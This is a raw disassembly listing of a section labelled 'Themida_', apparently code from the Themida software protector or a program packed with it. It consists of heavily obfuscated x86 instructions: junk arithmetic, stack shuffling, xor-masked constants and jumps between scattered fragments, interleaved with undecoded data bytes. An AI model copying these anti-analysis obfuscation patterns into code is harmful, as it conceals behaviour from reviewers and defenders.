Themida_:0055BF20j shr edi, 8 jmp loc_5576F2 ; --------------------------------------------------------------------------- dw 0D9F7h dd 0FF7ACAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A8B5: ; CODE XREF: Themida_:00564188j inc esi jmp loc_555079 ; --------------------------------------------------------------------------- loc_55A8BB: ; CODE XREF: Themida_:00563CC6j sub edx, 7E3C7809h mov esi, [esp] jmp loc_562A8D ; --------------------------------------------------------------------------- loc_55A8C9: ; CODE XREF: Themida_:00560D56j pop edx jmp loc_563578 ; --------------------------------------------------------------------------- loc_55A8CF: ; CODE XREF: Themida_:00553C0Bj pop ecx or ebx, 47590249h not ebx push edi jmp loc_560B02 ; --------------------------------------------------------------------------- dw 1C33h dd 241C3124h, 0E9241C33h, 0FFFF6430h, 4EC835Fh, 0E9241489h dd 5C2Ah, 772CBF57h, 0FE297C3Ah, 4EC815Fh, 89000000h, 6EBA2414h dd 0F737114Bh, 0B9F281DAh, 813F1A1Eh, 713337F2h, 5AD60137h dd 15EF001h, 0BB5358C2h, 4, 3144C281h, 0F2E938AAh, 89000088h dd 0A381E9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A93E: ; CODE XREF: Themida_:0055BA7Cj xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_557AC7 ; --------------------------------------------------------------------------- dd 257C68h, 241C8900h, 3368F9BBh, 0E9D90902h, 4A1Fh, 54BF575Eh dd 2D27E476h, 414E238Ch, 0FF69A4E9h, 9F6859FFh, 8900001Ah dd 8AE92404h, 5100006Ch, 58A3BE56h, 0F1894237h, 8124348Bh dd 4C4h, 59CB2900h, 0C381FB01h, 423758A3h, 0FF2434FFh dd 58E92434h, 810000A1h, 590688C5h, 48C58173h, 8156A94Bh dd 39B9F6F5h, 0E9E889C1h, 0FFFFBF68h ; --------------------------------------------------------------------------- loc_55A9C0: ; CODE XREF: Themida_:00556F2Cj pop edx shl edi, 2 shr edi, 6 jmp loc_5633A4 ; --------------------------------------------------------------------------- dd 243C875Bh, 2404895Ch, 0FF66D8E9h, 0EC781FFh, 0D13F350Fh dd 2EFC1E7h, 1957E956h, 0DF010000h, 2889C781h, 0EF811286h dd 34F56A68h, 50B2E95Bh, 50510000h, 0FF6487E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AA05: ; CODE XREF: Themida_:0055B5FBj add esi, 4 jmp loc_55912A ; --------------------------------------------------------------------------- loc_55AA10: ; CODE XREF: Themida_:00561DF0j mov [esp], ebp mov ebp, 7FAC0A45h xor ebp, 4CA669Ch push edi mov edi, 0E8058A2h jmp loc_564D37 ; --------------------------------------------------------------------------- loc_55AA29: ; CODE XREF: Themida_:00556579j xor ch, 88h sub al, 93h add al, 0A5h jmp loc_55676F ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 0EE38A1BFh, 7E7C129h, 0EFC1D7F7h, 61EF8106h, 57039159h dd 5F2414F7h, 0BB2AEF81h, 0FA012EA7h, 599CE9h db 0 ; --------------------------------------------------------------------------- loc_55AA5D: ; CODE XREF: Themida_:00553023j mov ecx, [esp] add esp, 4 loc_55AA63: ; CODE XREF: Themida_:00562A95j push edx push esp pop edx add edx, 4 push ecx mov ecx, 4 sub edx, ecx pop ecx xchg edx, [esp] pop esp mov [esp], ecx jmp loc_560CA2 ; --------------------------------------------------------------------------- db 81h, 0F6h, 82h dd 299D5EB8h, 0BA525EF2h, 178A59B5h, 0FFE28CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55AA95: ; CODE XREF: Themida_:00559207j add ebx, 9612E0BBh mov eax, ebx mov ebx, [esp] jmp loc_5595B4 ; --------------------------------------------------------------------------- loc_55AAA5: ; CODE XREF: Themida_:005524C1j push eax mov eax, 6AB71128h not eax shr eax, 4 dec eax inc eax push 1C38h mov [esp], esi mov esi, 65A4407h and eax, esi push dword ptr [esp] push dword ptr [esp] jmp loc_56435A ; --------------------------------------------------------------------------- dd 835AD101h, 0CEE904E9h, 0F7000073h, 18E953D7h, 81FFFFDAh dd 4C6h, 4C68300h, 0FFE6DDE9h, 240C8BFFh, 4C481h, 0D8300000h dd 56241C8Bh, 8952E689h, 4C281E2h, 83000000h, 148704EAh dd 14895C24h, 4BA24h, 0D6010000h, 5624148Bh, 0C681E689h dd 4, 8704C683h, 815C2434h, 4C6h, 685B6800h, 34890000h dd 2474FF24h, 0BEC6E904h, 4C88FFFFh, 34FF0187h, 240C8B24h dd 6804C483h, 7577h, 89240C89h, 4C181E1h, 55000000h, 9D6F72BDh dd 82E94D76h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AB6B: ; CODE XREF: Themida_:00561BB3j push dword ptr [esp+4] jmp loc_556308 ; --------------------------------------------------------------------------- dd 89243489h, 82E957E6h db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AB7F: ; CODE XREF: Themida_:0055BA0Fj sub esp, 4 mov [esp], esi xor dword ptr [esp], 76A532FDh pop eax xor eax, 76A532FDh mov esi, [esp] jmp loc_55E183 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 68000000h, 1FF6h, 0E9240C89h, 0FFFF5D87h, 9B2EF181h dd 0CB29C9A2h, 0A5B1E9h db 0 ; --------------------------------------------------------------------------- loc_55ABBD: ; CODE XREF: Themida_:0055944Cj sub ebx, 78981249h jmp loc_554D6F ; --------------------------------------------------------------------------- dd 52B7ADB9h, 59CE2936h, 348BF301h, 0E7895724h, 4C781h dd 0C7830000h, 243C8704h, 4C21E95Ch, 0D7F60000h, 0F8B25266h dd 5A66D730h, 0E95BF828h, 0FFFF6D5Dh, 0E95FF987h, 0BDCh dd 75BB5355h, 0E9CF3631h, 0FFFFE2EEh ; --------------------------------------------------------------------------- loc_55AC10: ; CODE XREF: Themida_:005620DAj xor esi, ebp xor ebp, esi jmp loc_56256D ; --------------------------------------------------------------------------- db 33h, 34h, 24h dd 241C895Ch, 168h, 3E95B00h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AC2B: ; CODE XREF: Themida_:005504EBj push 7100h push esp pop dword ptr [esp] push edx mov edx, 4 add [esp+4], edx jmp loc_55DEB2 ; --------------------------------------------------------------------------- loc_55AC43: ; CODE XREF: Themida_:0055DA0Fj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_55E09D ; --------------------------------------------------------------------------- aZfissu db 'Zf‰ééã]',0 db 0 ; --------------------------------------------------------------------------- loc_55AC5F: ; CODE XREF: Themida_:0055BB47j mov edi, 2D306469h jmp loc_55534D ; --------------------------------------------------------------------------- db 51h, 53h, 0B7h dd 0C4B4500Eh, 802FB151h, 0CC28ACECh, 8BACC480h, 0C483240Ch dd 74C0E904h, 0FB680000h, 0E96EF947h, 0FFFFA50Fh, 8BD10159h dd 1DE92414h, 81000048h, 0D7A3EC2h, 53525E0Ah, 0FF9311E9h dd 0E9815BFFh, 79515B6h, 3E10E981h, 0F0E97612h, 5E000096h dd 74A7C581h, 0FD012475h, 74A7B850h, 28E92475h, 0BA000021h dd 16CA0B3Dh, 0EA5EA81h, 8142699Dh, 7E2196E2h, 93A6E975h dd 3C89FFFFh, 46824h, 3C8B0000h, 4C48124h, 1000000h, 0B9515FFEh dd 3D865FE4h, 5FE2E981h, 0CE013D86h, 0FFDFA4E9h, 27EA81FFh dd 819840F7h, 0F0B496EAh, 5AD389F2h, 0E2E9EBD1h, 5000073h dd 65AB64BEh, 1367E9h, 5365E900h, 0FB29FFFFh, 21DFEB81h dd 685F00B8h, 7932h, 3D6CE9h, 24148B00h, 4C481h, 0C1810000h dd 33622CAEh, 0E981E901h, 33622CAEh, 0FFC292E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AD61: ; CODE XREF: Themida_:0056101Ej sub esp, 4 mov [esp], ebp pop ebx jmp loc_551603 ; --------------------------------------------------------------------------- db 1, 0F3h, 81h dd 497B48C3h, 15C38127h, 812A2F7Bh, 0ED22EEEBh, 6A8BE94Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AD86: ; CODE XREF: Themida_:00550B6Ej mov ebx, 13DAC830h add esi, ebx jmp loc_5564DB ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 4EC81h, 2C890000h, 4BD24h, 90E90000h db 87h, 2 dup(0) byte_55ADAB db 0FFh ; DATA XREF: Themida_:0054FED8o dd 34FF2434h, 24048B24h, 2550E9h, 8AEF8000h, 0FF7C63E9h db 0FFh ; --------------------------------------------------------------------------- loc_55ADC1: ; CODE XREF: Themida_:00551A69j jmp loc_550097 ; --------------------------------------------------------------------------- dw 0E949h dd 0FFFFC21Ah, 0E950E689h, 0FFFFBDC0h, 0E94D8468h, 243C8B40h dd 8104C483h, 0BF7A94E7h, 3EFC124h, 0FFA9FDE9h, 48966FFh dd 52A1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ADF6: ; CODE XREF: Themida_:00550256j sub esp, 4 mov [esp], esi mov esi, 7FFC604Ch and esi, 440629FFh push esi inc dword ptr [esp] pop esi sub esi, 0E7BF1D47h push ebx mov ebx, 162B0189h add [esp+8], ebx pop ebx jmp loc_5578F0 ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 83000000h, 1C8704EBh, 24248B24h, 54240489h dd 0BBBD5558h, 0F726DC0Ah, 0FED81D5h, 452A2508h, 82BDE9h db 0 ; --------------------------------------------------------------------------- loc_55AE4D: ; CODE XREF: Themida_:005554B6j push dword ptr [esp+4] push dword ptr [esp] pop edx push ecx mov ecx, esp push esi jmp loc_556274 ; --------------------------------------------------------------------------- dw 248Bh dd 5231E924h, 0D0F6FFFFh, 0DC04C8FEh, 88C28852h, 0D4F9E9D7h dd 1C8BFFFFh, 4EC8124h, 89000000h, 58542404h, 405h, 40500h dd 4870000h, 0C3815C24h, 4, 0FF6393E9h, 4C481FFh, 0B7000000h dd 53EF803Ah, 0FF950EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55AEAD: ; CODE XREF: Themida_:005609D3j sub edi, 98C4265h sub esi, 3B920E34h add esi, edi add esi, 3B920E34h pop edi push ecx mov ecx, 4 add esi, ecx pop ecx jmp loc_55AFC3 ; --------------------------------------------------------------------------- dd 0A77AF381h, 0DE29BD2Ch, 3060E9h, 5BD98900h, 5F10EE81h dd 0CE941F3h, 35000099h, 869624D3h, 48BC729h, 4C48124h dd 0E9000000h, 0FFFFB00Fh ; --------------------------------------------------------------------------- loc_55AF00: ; CODE XREF: Themida_:00559CC1j xor ebp, eax jmp loc_562EEC ; --------------------------------------------------------------------------- db 8Bh dd 0C4812404h, 4, 751BB53h, 0C1E90537h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AF1B: ; CODE XREF: Themida_:0055EDA7j mov esp, [esp] or edx, eax shl edx, 1 push ecx push 24h push dword ptr [esp] jmp loc_55A28B ; --------------------------------------------------------------------------- dd 4D84EA81h, 2C8B7FECh, 7D12E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AF3E: ; CODE XREF: Themida_:005633B1j push ebx jmp loc_553718 ; --------------------------------------------------------------------------- loc_55AF44: ; CODE XREF: Themida_:00554EA5j pop edx sub edx, 2E1646D4h pop ecx add [esp+4], edx pop edx push dword ptr [esp] pop esi push 4937h mov [esp], edx sub esp, 4 mov [esp], esp jmp loc_55D02B ; --------------------------------------------------------------------------- db 0B3h dd 0C526E948h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AF72: ; CODE XREF: Themida_:00565080j mov ebp, eax jmp loc_558735 ; --------------------------------------------------------------------------- byte_55AF79 db 8Bh, 2 dup(24h) ; DATA XREF: Themida_:0054FDBCo dd 0FF5116E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AF81: ; CODE XREF: Themida_:00556794j mov ebp, [esp] jmp loc_559D90 ; --------------------------------------------------------------------------- db 59h, 2Dh, 2Ch dd 687FA17Ah, 3171h, 0BF243C89h, 5B82533Eh, 0D105EFC1h dd 0F4C781EFh, 56461F7h, 5C617141h, 2F35312Dh, 5F8294Ch dd 4C2F3531h, 0FF94B5E9h, 0B6E95DFFh db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AFC3: ; CODE XREF: Themida_:0055AECBj xchg esi, [esp] pop esp push 26E9h jmp loc_560EE7 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 783268h, 240C8900h, 0DDF635B5h, 0CD80D5F6h, 0E9526683h dd 24C3h, 0EE81D6F7h, 0B223BAAAh, 55BDE9h, 0FC33000h, 48FC0B6h dd 9663E987h, 815E0000h, 4C4h, 0C28BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B012: ; CODE XREF: Themida_:00561005j pop ebp pop esi push ebx mov ebx, 0FFFFFFFFh sub ebp, ebx pop ebx jmp loc_55035A ; --------------------------------------------------------------------------- loc_55B022: ; CODE XREF: Themida_:00554A49j mov eax, 7BFB1A1Fh inc eax dec eax add eax, 8404E5E5h add edx, eax jmp loc_55A406 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0C5h dd 4, 0FF7BE6E9h, 5AFDB8FFh, 0C701013Dh, 80AFE9h db 0 ; --------------------------------------------------------------------------- loc_55B04D: ; CODE XREF: Themida_:00551954j pop ebx sub ebx, 0F98610Fh sub ebx, esi jmp loc_55A313 ; --------------------------------------------------------------------------- db 83h dd 0C0E904EBh db 6Bh, 2 dup(0) byte_55B063 db 83h ; DATA XREF: Themida_:0054FFF8o dd 0C8904ECh, 0A0685524h, 5D3B2826h, 0DCEAE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B076: ; CODE XREF: Themida_:00558956j add edi, ecx push dword ptr [esp] pop ecx jmp loc_5624A0 ; --------------------------------------------------------------------------- db 53h, 0E9h, 4 dd 5CFFFFCAh, 50243489h, 5E7FE9B8h, 0F67FBE02h, 0C6015BDAh dd 0F9F68158h, 922E760h, 0BF575EF3h, 51A0090Fh, 59CFC781h dd 0F7814E61h, 87EE2AACh, 67E9FB31h, 8FFFFF78h, 248B2404h dd 48B6624h, 0E3895324h, 0FFAF99E9h, 68E95DFFh, 81FFFFA0h dd 4C1h, 4C18100h, 33000000h, 0C31240Ch, 240C3324h, 0E189515Ch dd 0E904EC83h, 0FFFF67AEh dword_55B0F4 dd 9D1C77FFh, 4185866h, 94E99C24h, 8BFFFF4Fh, 0DE9240Ch ; DATA XREF: Themida_:0054FE24o dd 89FFFFD0h, 0A32AE9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B112: ; CODE XREF: Themida_:0055B5F0j mov eax, esp add eax, 4 push edx mov edx, 2C636370h jmp loc_5533D8 ; --------------------------------------------------------------------------- dword_55B124 dd 240C8B66h, 0FF5C58E9h, 5BE95BFFh, 66FFFFAFh, 5224048Bh ; DATA XREF: Themida_:00550010o dd 0ABE9E289h, 68000064h, 5D67h, 57241489h, 912FE9h db 0 ; --------------------------------------------------------------------------- loc_55B14D: ; CODE XREF: Themida_:0055B409j sub ebp, 4 xchg ebp, [esp] jmp loc_5591A7 ; --------------------------------------------------------------------------- dd 5A58C129h, 1839EB81h, 0CB013EC8h, 6890E9h, 58C58900h dd 0FFA30CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B171: ; CODE XREF: Themida_:0055DCCBj mov ebx, 4FA520B5h jmp loc_56043F ; --------------------------------------------------------------------------- loc_55B17B: ; CODE XREF: Themida_:005524B9j and esi, 73E64CF9h push edx mov edx, 91E7A0Ch dec edx inc edx not edx add edx, 185A2BB5h xor edx, 1A0D43F3h xor edx, 7EBBA436h xor esi, edx pop edx inc esi jmp loc_564E79 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835A24h, 4BB5304h, 1000000h, 4BC3E9DEh, 0C5010000h dd 74FF5558h, 8F5D0424h, 248B2404h, 457EE924h, 0D3BF0000h dd 0E90D9E1Dh, 0FFFF529Fh, 6DE9EA01h, 89000009h, 4BD242Ch dd 81000000h, 0F76107C6h, 88EE8112h, 13AF652h, 88C681EEh dd 813AF652h, 0F76107EEh, 6500E912h, 0C4830000h, 9060E904h dd 0C783FFFFh, 243C3302h, 33243C31h, 6DE9243Ch db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B21F: ; CODE XREF: Themida_:0055450Ej inc ecx shl ecx, 5 xor ecx, 3FCC11Bh jmp loc_55017D ; --------------------------------------------------------------------------- dw 0D921h dd 5B2434FFh, 4C481h, 0E9C10000h, 0FC00900h, 2BD584h, 16306800h dd 1C890000h, 242C8124h, 3C89348Bh, 8B2434FFh, 0C4812404h dd 4, 4EC81h, 14890000h, 0E95A5424h, 106h ; --------------------------------------------------------------------------- loc_55B270: ; CODE XREF: Themida_:0055DE54j mov edi, 68235B5h or ebx, edi pop edi jmp loc_560F52 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C4h dd 4, 8904EC83h, 56BE2434h, 0E906CE32h, 0E28h ; --------------------------------------------------------------------------- loc_55B294: ; CODE XREF: Themida_:00563BF0j sub ecx, 8717E4E2h sub edx, ecx pop ecx add edx, ecx jmp loc_5529A6 ; --------------------------------------------------------------------------- dd 4C181h, 0D6E90000h, 8F000003h, 0C5E92404h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B2B7: ; CODE XREF: Themida_:00563146j mov ebx, 0F001BBE9h sub ecx, 79DC304Ch add ecx, ebx jmp loc_55805A ; --------------------------------------------------------------------------- db 68h, 0E5h, 28h dd 21E90000h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B2D3: ; CODE XREF: Themida_:00550509j add esp, 4 and eax, edx push dword ptr [esp] mov edx, [esp] jmp loc_561E4B ; --------------------------------------------------------------------------- loc_55B2E6: ; CODE XREF: Themida_:0055F575j pop eax push ebx sub esp, 4 jmp loc_55C82E ; --------------------------------------------------------------------------- dd 0C581DDF7h, 1100D007h, 6E9EE01h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B2FF: ; CODE XREF: Themida_:00564C50j push edx push edi mov edi, 1AFA1F11h jmp loc_55DEBB ; --------------------------------------------------------------------------- db 0BEh dd 57A64FB2h, 3483F681h, 0C6814C57h, 0FFFFFFFFh, 0D7CF681h dd 86E93CE6h, 8BFFFFC0h, 8957240Ch, 4C781E7h, 81000000h dd 4C7h, 58E95700h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B33F: ; CODE XREF: Themida_:0055F96Aj mov eax, 49A22B3Ch sub esp, 4 mov [esp], edi mov edi, 6B5B5A62h xor eax, edi jmp loc_5572E0 ; --------------------------------------------------------------------------- db 1, 0C3h, 58h dd 0FFE2E1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B361: ; CODE XREF: Themida_:0055CF2Fj mov [esp], ecx mov ecx, 13FD0572h not ecx add ecx, 0AE2575Dh jmp loc_560875 ; --------------------------------------------------------------------------- aSs db 'Sé¼',9,0 align 4 loc_55B37C: ; CODE XREF: Themida_:0055B76Bj add ebx, esi pop esi sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi push edi jmp loc_55BA0E ; --------------------------------------------------------------------------- loc_55B392: ; CODE XREF: Themida_:0056419Aj mov edx, esp sub esp, 4 mov [esp], edi push 4 jmp loc_56345C ; --------------------------------------------------------------------------- db 81h dd 2F7B42EBh, 0A9C3811Eh, 8B7AA25Fh, 0C481243Ch, 4, 0C570EB81h dd 8957DD22h, 4C781E7h, 0E9000000h, 0FFFF8517h, 0F20EB7BFh dd 0BAE78115h, 0E901A375h, 0FFFFEAA6h, 80B0B151h, 0CDE9B8E1h db 8Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B3EB: ; CODE XREF: Themida_:00563573j neg edx inc edx shl edx, 1 push eax push edx mov edx, 68E53756h jmp loc_56304A ; --------------------------------------------------------------------------- dd 6B5662BAh, 0E9FA3130h, 0FFFFC932h ; --------------------------------------------------------------------------- loc_55B408: ; CODE XREF: Themida_:0055BAC8j pop eax jmp loc_55B14D ; --------------------------------------------------------------------------- dw 0FF51h dd 0FF042474h, 0E9592434h, 91F1h, 4EC81h, 4890000h, 4B824h dd 0C6890000h, 5EF50158h, 19C56857h, 0C890000h, 4465E924h dd 45680000h, 8900001Eh, 17BB241Ch, 5169E51Fh, 15540CB9h dd 244C0124h, 79E9590Ch, 0F7FFFFF1h, 43E581D5h, 0F701F24Eh dd 0AA7AE9DDh, 0C581FFFFh, 11FB54B2h, 5614E959h, 0D7010000h dd 8BF8215Ah, 0EC81243Ch, 4, 89241C89h, 4EC83E3h, 0B9240C89h dd 4, 0FFACD5E9h, 240C8BFFh, 81E78957h, 4C7h, 4C78300h dd 5C243C87h, 8B24048Fh, 0E9572424h, 0FFFFDC9Bh dword_55B4B8 dd 24248B66h, 0FFACA8E9h, 0E38953FFh, 4C381h, 37E90000h ; DATA XREF: Themida_:0054FE5Co dd 0F7000097h, 26E981D1h, 813CF378h, 7C120BC1h, 8F73E91Bh dd 0B0E9FFFFh, 5CFFFF4Bh, 8124148Bh, 4C4h, 31F23100h, 0E9F231D6h dd 0FFFF97B2h, 241C8966h, 872CF9B3h, 0D800172Ch, 882E9h db 0 ; --------------------------------------------------------------------------- loc_55B50D: ; CODE XREF: Themida_:005630A3j mov ecx, [esp] add esp, 4 add edx, 4958422Dh jmp loc_550367 ; --------------------------------------------------------------------------- dw 0FB01h dd 81243C8Bh, 4C4h, 24048B00h, 81E28952h, 4C2h, 83A6E900h dd 0C4810000h, 4, 0FFEA95E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B545: ; CODE XREF: Themida_:00559AA7j pop ecx or edi, 7117A14h push edi jmp loc_55A0FA ; --------------------------------------------------------------------------- dw 0C381h dd 4F46A94Eh, 0FF5BC8E9h, 2BFFFh, 0FA890000h, 0E9D1895Fh dd 987Ch, 8904EC83h, 4B82404h, 81000000h, 8F45CFEBh, 0E9C3016Ah dd 0FFFF90CBh, 6D073BB8h, 5200E91Bh, 0B0BEFFFFh, 4E611320h dd 32B3E9h, 14F75200h, 9F685A24h, 8900002Dh, 8FE92414h dd 8B000076h, 0C483240Ch, 4C48304h, 0FFC0B60Fh, 0AE688734h dd 8900004Eh, 5CE92404h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B5C7: ; CODE XREF: Themida_:00550E3Dj pop edi xor ebx, [esp] jmp loc_55C379 ; --------------------------------------------------------------------------- loc_55B5D0: ; CODE XREF: Themida_:00555E5Ej push ebp jmp loc_5548AF ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 1000000h, 58E95FFBh db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B5E7: ; CODE XREF: Themida_:00563C50j sub esp, 4 mov [esp], eax jmp loc_55B112 ; --------------------------------------------------------------------------- loc_55B5F5: ; CODE XREF: Themida_:0055BF8Fj mov edx, [esp] push esi mov esi, esp jmp loc_55AA05 ; --------------------------------------------------------------------------- dd 51241C8Bh, 0C181E189h, 4, 8704C183h, 525C240Ch, 0FF86B8E9h dd 241C89FFh, 494B99BBh, 0A209BD7Eh, 0ED81E9FAh, 3BD10D22h dd 953DE9h, 0F3C18100h, 0E9D3F303h, 0FFFFD8DCh, 49EB815Fh dd 297E8409h, 30BE56D3h, 0E954CE5Ch, 840Eh, 4246C81h, 360A7A69h dd 4247C01h, 4244481h, 360A7A69h, 53243C8Bh, 9FE9E389h dd 0BEFFFF8Bh, 0 dd 1A33E9h, 81E95100h, 5500002Ch, 0FF60EBE9h, 240C87FFh dd 6824248Bh, 32B3h, 0FF7B94E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B695: ; CODE XREF: Themida_:0055B749j mov ebp, ebx jmp loc_5553C1 ; --------------------------------------------------------------------------- dd 7CF6815Eh, 0E93EFB35h, 0FFFF5E6Ah ; --------------------------------------------------------------------------- loc_55B6A8: ; CODE XREF: Themida_:00559980j mov eax, 10473A09h push ecx push 9B36EE4Dh pop ecx xor eax, ecx pop ecx jmp loc_563ED6 ; --------------------------------------------------------------------------- dd 4559EF81h, 0DF014BF5h, 0E34BA52h, 0EBE92554h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B6CF: ; CODE XREF: Themida_:0056451Ej xor esi, 0B0239AF6h add edi, esi pop esi add edi, 4 jmp loc_553533 ; --------------------------------------------------------------------------- db 31h dd 4332404h, 0F8E95C24h, 81FFFF55h, 4C2h, 90D2E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B6FA: ; CODE XREF: Themida_:0055DC6Cj xor edx, 0F08303FBh jmp loc_564CF3 ; --------------------------------------------------------------------------- byte_55B705 db 0ADh, 56h, 52h ; DATA XREF: Themida_:0054FEACo dd 6403E9h, 0BD555000h, 58CA154Ch, 0C26346B8h, 0B02BE9ECh dd 0D701FFFFh, 0FFE387E9h, 0C8005BFFh, 0FFAE51E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B72D: ; CODE XREF: Themida_:00560468j pop eax add edx, ecx push dword ptr [esp] pop ecx push edx mov edx, esp add edx, 4 jmp loc_557799 ; --------------------------------------------------------------------------- loc_55B742: ; CODE XREF: Themida_:005518F2j push ebp push ebx mov ebx, 785317B7h jmp loc_55B695 ; --------------------------------------------------------------------------- loc_55B74E: ; CODE XREF: Themida_:0055056Bj mov [esp], edi mov edi, ecx sub esp, 4 mov [esp], ebx mov ebx, esp push esi push ebx mov ebx, 694C3AC7h sub ebx, 694C3AC3h mov esi, ebx pop ebx jmp loc_55B37C ; --------------------------------------------------------------------------- loc_55B770: ; CODE XREF: Themida_:00560C97j sub ch, 0CCh sub dl, ch pop ecx sub esp, 2 mov [esp], ax mov ah, 0AFh jmp loc_551548 ; --------------------------------------------------------------------------- db 89h dd 0ECBA2414h, 0C1452419h, 1AE903EAh db 0E4h, 2 dup(0FFh) byte_55B797 db 0FFh ; DATA XREF: Themida_:0054FF34o dd 83582434h, 48904ECh, 0E9585424h, 8CA2h ; --------------------------------------------------------------------------- loc_55B7A8: ; CODE XREF: Themida_:0055C359j add edx, edi jmp loc_552CA5 ; --------------------------------------------------------------------------- db 0BEh dd 520F6A40h, 34FFF029h, 0C4815E24h, 4, 8904EC83h, 63E92414h dd 5A000085h, 3304C183h, 0C31240Ch, 240C3324h, 0E924248Bh dd 0FFFF49E9h, 4683E981h, 0CD015F4Ah, 81240C8Bh, 4C4h dd 8E5C100h, 4086C581h, 0EB01D2D1h, 83242C8Bh, 33FF04C4h dd 0CA240481h, 59280D0Ah, 0ACAE981h, 34FF280Dh, 7282E924h dd 8C05FFFFh, 0E9414E23h, 0FFFF8BB1h, 4C281h, 0B8500000h dd 7F202B88h, 619E9h, 51DAF700h, 6AB850h, 31E921ACh db 58h, 2 dup(0FFh) byte_55B843 db 66h ; DATA XREF: Themida_:0054FF68o dd 8124048Bh, 4ECh, 24148900h, 91E9E289h, 66FFFF56h, 5B75350h dd 0B151C7FEh, 90E1802Ch, 0E1D0C1FEh, 80CEB450h, 32E99AECh dd 0B8FFFF48h, 4, 8158C601h, 4C6h, 24348700h, 5A54525Ch dd 597BE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B88E: ; CODE XREF: Themida_:00554C16j shl edi, 3 push eax mov eax, 0D385B58h xor edi, eax pop eax jmp loc_558604 ; --------------------------------------------------------------------------- loc_55B89F: ; CODE XREF: Themida_:0055DD66j mov ebx, 24h sub ebx, 456C46A9h add ebx, edi add ebx, 456C46A9h push 218Bh mov [esp], edx mov edx, 0 add edx, ebx add [edx], eax pop edx mov ebx, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] add esp, 4 push edi mov edi, esp add edi, 4 jmp loc_55C79C ; --------------------------------------------------------------------------- db 5Bh dd 1BBB850h, 0BAE91E08h, 5C000011h, 68F9F766h, 744Ah, 0FFDAB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B901: ; CODE XREF: Themida_:0055A0FDj pop edi dec edi neg edi push edi not dword ptr [esp] pop edi sub edi, 7F977E8Eh sub edx, 43C77988h add edx, edi add edx, 43C77988h jmp loc_554529 ; --------------------------------------------------------------------------- db 89h dd 0E954241Ch, 0FFFFF466h ; --------------------------------------------------------------------------- loc_55B92C: ; CODE XREF: Themida_:00557E3Dj mov edi, 6CFB2CE3h xor [esp+4], edi pop edi pop edi push ecx push esp mov ecx, [esp] add esp, 4 push eax mov eax, 509B5DD3h add eax, 0AF64A231h sub ecx, 2F450FCEh jmp loc_55F56D ; --------------------------------------------------------------------------- loc_55B958: ; CODE XREF: Themida_:00552BEFj add esp, 4 xor eax, ebp mov ebp, [esp] add esp, 4 jmp loc_5518E2 ; --------------------------------------------------------------------------- aI4SU db '‰4$éœU',0 align 10h dd 0F75DE959h, 0C181FFFFh, 2A8D0770h, 61E9E901h db 83h, 2 dup(0FFh) byte_55B983 db 66h ; DATA XREF: Themida_:0054FF28o dd 6824048Bh, 32F0h, 68243489h, 10A7h, 0FF7C27E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B999: ; CODE XREF: Themida_:00558D4Fj mov edi, 4 sub dword ptr [esp+4], 422D5AEAh add [esp+4], edi add dword ptr [esp+4], 422D5AEAh jmp loc_556EC0 ; --------------------------------------------------------------------------- loc_55B9B7: ; CODE XREF: Themida_:00559C7Cj xor edx, 7B2F1459h or edx, 54DE3AD8h not edx xor edx, 8800C522h add ecx, edx pop edx push eax mov eax, 4 sub ecx, eax pop eax jmp loc_564F31 ; --------------------------------------------------------------------------- dd 8904EC83h, 5DE9241Ch, 89FFFF8Ch, 0B8662404h, 2D661535h dd 2966043Ch, 2434FFC3h, 0FF6A4CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B9FD: ; CODE XREF: Themida_:005644D7j push esp jmp loc_55BACD ; --------------------------------------------------------------------------- db 56h dd 